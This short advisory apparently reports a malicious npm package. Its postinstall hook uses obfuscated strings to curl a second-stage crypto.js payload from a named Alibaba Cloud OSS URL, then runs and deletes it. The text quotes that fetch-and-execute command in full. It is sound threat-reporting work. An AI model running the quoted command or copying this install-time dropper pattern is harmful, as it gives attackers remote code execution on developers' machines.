Malicious npm package (0 downloads). Its postinstall hook (node index.js) uses char-code-obfuscated strings to run curl -sL -o ./.cache https://aone-kit.oss-cn-beijing.aliyuncs.com/plugins/crypto.js, then require()s the downloaded file to execute it and deletes it, swallowing all errors. The remote crypto.js second-stage payload is hosted on an Alibaba Cloud OSS bucket and is fetched and executed at install time. Confirmed malicious: obfuscated remote-payload dropper with install-time remote code execution.